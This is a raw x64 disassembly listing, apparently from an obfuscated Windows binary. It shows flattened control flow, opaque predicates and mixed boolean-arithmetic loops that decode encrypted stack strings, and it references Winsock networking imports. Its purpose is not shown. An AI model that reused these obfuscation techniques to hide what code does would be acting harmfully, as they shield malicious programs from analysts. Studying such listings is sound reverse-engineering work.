movabs rdx, 0x1daffad812d14ac8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x140115b4f
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140115952
movabs rcx, 0xf3bf484f0952cbb8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 8
jmp 0x140115cb6
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14011596a
movabs rdx, 0xdec6ef0a84938c30
jmp 0x1401157f5
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14011599a
movabs rdx, 0xc9ce95c5ffd44ca8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140115c43
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x14011588d
movabs rdx, 0x9fdde33cf655cd98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x140115bf1
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401159f6
movabs rdx, 0x6b710411aa77aec4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5c
jmp 0x140115bf1
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140115a22
movabs rdx, 0x2c87f8441c39f02c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x34
jmp 0x140115c69
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140115709
movabs rcx, 0x178f9eff977ab0a4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x140115cb6
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140115a70
movabs rdx, 0x8f415ac2389f93b0
mov ecx, Ordinal_27
jmp 0x1401158e1
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140115a9f
movabs rdx, 0x7a49017db3e05428
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x140115d21
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140115acb
movabs rdx, 0x26679c6ba0e35608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
jmp 0x140115c69
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1401156b9
movabs rdx, 0xe77e909e12a59770
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
jmp 0x140115bf1
movabs rdx, 0xbd8dde1509271860
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0xdb0]
add dil, dl
add dil, r8b
jmp 0x140115c6c
movabs rdx, 0xa89584d08467d8d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0xdb0]
add dil, r8b
add dil, dl
jmp 0x140115ced
movabs rdx, 0x9105e5d0eced2834
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x6c
jmp 0x140115b4f
movabs rdx, 0xbaf69859f66ba744
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140115cb6
movabs rdx, 0xcfeef19e7b2ae6cc
mov ecx, gethostname
jmp 0x1401155a4
movabs rcx, 0xe4e74ae2ffea2654
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x140115c43
movabs rdx, 0xed7fd6c0968a564
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rdx, 0xc80a0ab74b86b824
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xdb0], cl
jmp 0x140115c40
movabs rdx, 0x4dc1093997a663fc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add r10, r12
sub r9, r12
jmp 0x140115d87
movabs rdx, 0x77b1bbc2a124e30c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x54
add dil, dl
movabs rcx, 0xb311b172c6c7789c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x44
add r8b, dil
add r8b, cl
mov byte [rbp + r9 + 0xdb0], r8b
jmp 0x140115cb6
movabs rcx, 0x8caa150725e42294
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140115d87
mov r8, r11
movabs rcx, 0xb69ac7902f62a1a4
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7c
movabs rdx, 0x9e19582e42083914
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xdb0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0x939d2b8bffa89950
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x30
add r8b, cl
mov byte [rbp + r9 + 0xdb0], r8b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140115d78
movabs rdx, 0xe08b7a1938e120b4
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r9 + 0xdb0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x14011521d
movabs rcx, 0x8d7ccfb38451ff2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x14011521a
movabs rdx, 0xa27528f809113eb4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14011520a
lea rdx, [rbp + 0x140b600]
jmp 0x140115df2
lea rdx, [rbp + 0xa1163c]
jmp 0x140115df2
lea rdx, [rbp + 0xdb0]
lea rcx, [rbp + 0x1280]
call fcn.1400889c0
lea rcx, [rbp + 0x1280]
call fcn.1401aa82c
mov byte [rbp + 0x2e0], 0xf5
mov byte [rbp + 0x2e1], 0x85
mov byte [rbp + 0x2e2], Ordinal_143
mov byte [rbp + 0x2e3], __WSAFDIsSet
mov byte [rbp + 0x2e4], 0x86
mov byte [rbp + 0x2e5], __WSAFDIsSet
mov byte [rbp + 0x2e6], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x2e7], 0x83
mov byte [rbp + 0x2e8], 0x80
mov byte [rbp + 0x2e9], 0xbd
mov byte [rbp + 0x2ea], 0xa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2eb], xmm0
mov byte [rbp + 0x2fb], al
movabs rsi, 0xf9e223f320cfafd8
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x1c
jae 0x1401169ef
movzx r8d, byte [rbp + r9 + 0x2e0]
mov r11, r8
cmp rbx, r9
ja 0x1401169e6
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140115ecd
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x18
jmp 0x140115ee0
je 0x140116956
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401168fa
cmp r10, r9
ja 0x1401169dd
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x140115f1a
movabs rdx, 0x7f8cf2f1b1096cb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
mov r11d, 8
sub dil, r11b
jmp 0x140115f54
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401168a9
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14011684c
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14011682b
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140116808
mov r11d, 8
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401164ce
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1401164ba
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x140116496
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x140116472
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140116463
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x14011643e
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x140116417
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x1401163f3
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401163d0
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1401163ac
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140115f61
lea rbx, [r10 + 6]
lea r10, [rbx + 3]
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x1401169b6
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x14011698f
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140116169
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x140116143
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x14011611c
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x140116395
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x140116308
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x1401162e8
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x1401162bc
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140115f61
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x140116295
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140116271
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14011624e
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x14011622a
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x14011620a
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x1401161e9
lea rax, [r10 + 1]
cmp rbx, rax
ja 0x1401161d5
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x1401161b1
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14011618e
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x140115f61
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x3e8]
jmp 0x140115f61
movabs rdx, 0xadc98502d0c47a48
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140115f54
movabs rdx, 0xba053d1c8f251a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
add dil, dl
jmp 0x140115ee0
movabs rdx, 0xc640f5364d85bae8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r14b
jmp 0x140115e9e
movabs rdx, 0xfc67978d884b65c0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x40
jmp 0x1401168c8
movabs rcx, 0x8a34fa746ac0610
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x70
jmp 0x1401168ef
movabs rdx, 0x14df07c1050ca660
mov ecx, Ordinal_50
jmp 0x1401165bc
movabs rdx, 0x211abfdac36d46b0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14011679b
movabs rcx, 0x2d5677f481cde700
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x140116893
movabs rcx, 0x3992300e402e8750
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x140116896
movabs rdx, 0x45cde827fe8f27a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x60
jmp 0x1401167cc
movabs rdx, 0x5209a041bcefc7f0
mov ecx, Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14011691c
movabs rdx, 0x5e45585b7b506840
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140116978
movabs rcx, 0x7cdaa49bd741f908
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x38
mov byte [rbp + r9 + 0x2e0], dil
jmp 0x140116987
movabs rdx, 0x89165cb595a29958
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x68
jmp 0x140116362
movabs rdx, 0x955214cf540339a8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, 0x3e8
jae 0x140116778
lea rax, [r10 + 0x64]
cmp rbx, rax
jbe 0x1401166b8
movabs rdx, 0xa6f83e082865330
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x50
add dil, dl
cmp r10, 0x61
jb 0x1401162db
movabs rdx, 0x901a52df12c01010
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1401168cb
movabs rdx, 0xa18dcce91263d9f8
add rdx, r9
mov ecx, Ordinal_32
jmp 0x1401164e0
movabs rcx, 0xfd4db1aa26388c50
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x140116978
movabs rdx, 0x98969c3e4992ca0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x60
jmp 0x14011691c
movabs rdx, 0x15c521dda2f9ccf0
mov ecx, Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401167cc
movabs rdx, 0x2200d9f7615a6d40
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140116896
movabs rdx, 0x2e3c92111fbb0d90
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140116893
movabs rdx, 0x3a784a2ade1bade0
jmp 0x14011658d
movabs rcx, 0x46b402449c7c4e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x50
jmp 0x1401168f2
movabs rcx, 0x52efba5e5adcee80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x1401168ef
movabs rdx, 0x5f2b7278193d8ed0
mov ecx, Ordinal_41
jmp 0x1401168b8
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x140116530
lea rdx, [r9 + rsi]
mov ecx, recv
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 6
je 0x1401167a6
lea rcx, [r10 + 3]
cmp rbx, rcx
jbe 0x140116608
movabs rdx, 0x8ae290eed17ce678
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r15b
jmp 0x14011632a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14011655d
movabs rcx, 0xff19e5e36212d970
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x140116978
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14011657a
movabs rdx, 0xe6a275afe55198d0
mov ecx, Ordinal_41
jmp 0x140116402
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401165a6
movabs rdx, 0xc1ef4d62aa2fb7e0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x14011679e
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401165d4
movabs rdx, 0xb5b39548ebcf1790
mov ecx, r11d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401168f2
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401164f0
movabs rdx, 0x9d3c25156f0dd6f0
mov ecx, Ordinal_60
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401168cb
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140116634
movabs rdx, 0x7ea6d8d5131c4628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x1401168c8
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140116651
movabs rdx, 0x662f68a1965b0588
mov ecx, 0x24
jmp 0x1401165bc
cmp rbx, rcx
jne 0x14011667a
movabs rcx, 0x417c40545b392498
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x140116896
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140116697
movabs rdx, 0x3540883a9cd88448
mov ecx, 4
jmp 0x140116402
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14011632a
movabs rdx, 0x2904d020de77e3f8
mov ecx, Ordinal_32
jmp 0x140116280
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401166e5
movabs rcx, 0xfe33cbc6c425b2e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x20
jmp 0x140116978
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140116702
movabs rdx, 0xe5bc5b9347647240
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140116402
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14011672e
movabs rcx, 0xc10933460c429150
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14011686c
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140116757
movabs rcx, 0xb4cd7b2c4de1f100
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x1401168f2
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140116365
movabs rdx, 0x9c560af8d120b060
mov ecx, Ordinal_50
jmp 0x1401165f0
movabs rdx, 0x83de9ac5545f6fc0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x2e0]
sub dil, al
sub dil, 0x40
add dil, r8b
add dil, dl
jmp 0x14011686c
movabs rdx, 0x77a2e2ab95fecf70
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, byte [rbp + r9 + 0x2e0]
sub dil, 0x10
add dil, dl
movabs rdx, 0x7185069eb6ce7f48
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x2e0], al
add r10, r12
add rax, r10
sub r9, rax
jmp 0x14011691f
movabs rcx, 0x11737a09ffa3c9e8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r14b
jmp 0x140116978
movabs rcx, 0x42625a70f9264b28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x18
jmp 0x140116893
movabs rdx, 0x4e9e128ab786eb78
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r15b
movabs rcx, 0x7dc0beb8752f1f98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x28
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x2e0], cl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140116987
movabs rdx, 0x73513ad7f2a8cc68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x89fc76d2338fbfe8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
sub cl, r14b
mov byte [rbp + r9 + 0x2e0], cl
add r10, r12
sub r9, r12
jmp 0x140116987
mov r8, r11
movabs rdx, 0xe16ab3bfa40e6f38
add rdx, r9
mov al, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movabs rdx, 0x6b672a91d79e2f20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x2e0], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140116978
movabs rdx, 0xeda66bd9626f0f88
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r9 + 0x2e0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140115e8b
movabs rdx, 0xd27cad500be65b38
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140115e88
movabs rdx, 0xdeb86569ca46fb88
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140115e78
lea rsi, [rbp + 0x14a2800]
jmp 0x1401169f6
lea rsi, [rbp + 0x159d7d8]
jmp 0x1401169f6
lea rsi, [rbp + 0x2e0]
mov byte [rbp + 0x300], 0xff
mov byte [rbp + 0x301], 0xfd
mov byte [rbp + 0x302], 0xf7
mov byte [rbp + 0x303], 0xf9
mov byte [rbp + 0x304], 0x68
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x305], xmm0
mov qword [rbp + 0x315], rax
movabs r14, 0x964fd3367a2ecdf2
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x1d
jae 0x14011756d
movzx r8d, byte [rbp + r9 + 0x300]
mov r11, r8
cmp rbx, r9
ja 0x140117564
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140116a90
lea rcx, [r9 + r14]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x62
jmp 0x140116ab0
je 0x1401174d8
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14011744d
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140117427
cmp r10, r9
ja 0x14011755b
lea rax, [r10 + 5]
cmp rbx, rax
jae 0x140116ad6
movabs rdx, 0x548c537805d6e4da
mov ecx, 5
jmp 0x140116ce1
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401173dc
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401173bc
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140117395
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140117371
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x1401170a3
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x14011707c
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140117058
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140117034
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x140117020
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x140116ff9
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140116fd5
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x140116fb2
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140116f9e
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140116f8a
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x140116b17
lea rbx, [r10 + 0x41]
lea r10, [rbx + 0x7a]
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x140117534
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140117511
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140116d20
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x140116cf9
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x140116cd2
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x140116f27
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140116ec5
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140116e76
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x140116e47
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x140116b17
lea rbx, [r10 + 0x10]
lea r10, [rbx + 0x3e8]
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x140116e33
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x140116e10
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x140116deb
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x140116dd7
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140116dc3
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140116da2
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x140116d7e
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140116d5a
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x140116d46
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140116b17
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 5]
jmp 0x140116b17
movabs rdx, 0x9d57ae945769d266
mov ecx, reloc.WLDAP32.dll_Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140116b0a
movabs rdx, 0x70b80827630c3682
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140116ab0
movabs rdx, 0x441861ba6eae9a9e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x52
add dil, dl
jmp 0x140116a61
movabs rdx, 0xa4629bc02eb726d0
mov ecx, Ordinal_41
jmp 0x14011708b
movabs rcx, 0x77c2f5533a598aec
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x140117422
movabs rcx, 0x4b234ee645fbef08
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x38
jmp 0x140117445
movabs rdx, 0x1e83a879519e5324
mov ecx, 2
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401172ff
movabs rdx, 0xf1e4020c5d40b740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140117008
movabs rdx, 0xc5445b9f68e31b5c
mov ecx, 0x3e
jmp 0x140117141
movabs rdx, 0x98a4b53274857f78
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r15b
jmp 0x140117471
movabs rdx, 0x6c050ec58027e394
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xc
jmp 0x1401173b4
movabs rdx, 0x3f6568588bca47b0
mov ecx, Ordinal_27
jmp 0x1401170e5
movabs rdx, 0x4fd6484828e041f6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r9 + 0x300], dil
jmp 0x140117509
movabs rdx, 0x2336a1db3482a612
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7e
add dil, dl
cmp r10, 6
jb 0x140116e69
movabs rdx, 0xe3ce27b4aea60e6c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
